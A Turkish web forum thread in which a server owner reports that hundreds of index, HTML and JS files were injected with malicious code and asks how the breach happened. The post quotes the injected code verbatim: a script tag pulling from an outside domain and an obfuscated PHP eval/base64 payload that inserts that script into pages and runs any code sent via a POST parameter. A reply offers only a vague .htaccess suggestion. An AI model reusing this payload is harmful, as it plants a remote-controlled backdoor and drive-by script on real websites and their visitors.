Şimdi Ara

biri sayfalarımın içine kod ekliyor.

Daha Fazla
Bu Konudaki Kullanıcılar: Daha Az
1 Misafir - 1 Masaüstü
5 sn
3
Cevap
0
Favori
541
Tıklama
Daha Fazla
İstatistik
  • Konu İstatistikleri Yükleniyor
0 oy
Öne Çıkar
Sayfa: 1
Giriş
Mesaj
  • biri serverımda bulunan ve adında index kalıbı bulunan(index.php, index2.php,altindex.php vb) bütün sayfaların, html ve js uzantılı tüm dosyaların içine aşağıdakilerin benzeri zararlı kodlar eklemiş.

    sitede bir açık var; orası tamam. ama sizce ne tip bir yerde olabilir bu açık? çözüm için hangi adımları, nasıl izlemem lazım?

    not: server benim. unix sistem.. php ve mysql kullanıyorum. mysql'e erişim yapmıyorlar. yaptığı şey, sadece ftp'dei dosyaların içine kod eklemek.

    ör:
    <script src=http://spain-houses.info/vermieten/index.php ></script>
    <?php eval(base64_decode('aWYoIWlzc2V0KCR6NzljMSkpe2Z1bmN0aW9uIHo3OWMoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzTndZV2x1TFdodmRYTmxjeTVwYm1adkwzWmxjbTFwWlhSbGJpOXBibVJsZUM1d2FIQWdQand2YzJOeWFYQjBQZz09JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiB6NzljMigkYSwkYiwkYywkZCl7Z2xvYmFsICR6NzljMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkejc5YzEpKWNhbGxfdXNlcl9mdW5jKCR6NzljMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd6NzljJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3o3OWMnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kejc5Y2w9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3o3OWMyJykpIT0nejc5YzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>


    gibi







  • ve tek tek/dosya dosya uğraşılan birşey de değil bu. hemen hemen aynı anda, onlarca yüzlerce dosyanın içine eklemişler kodları.

    muhtemelen mass bir saldırı...
  • .htacsess dosyan olmazsa , yaparlar arkadaş

    araştır .htacsess'si onu kullan. Tahminimce bunda çözüm bulabilirsin
  • Yapay Zeka’dan İlgili Konular
    Daha Fazla Göster
    
Sayfa: 1
- x
Bildirim
mesajınız kopyalandı (ctrl+v) yapıştırmak istediğiniz yere yapıştırabilirsiniz.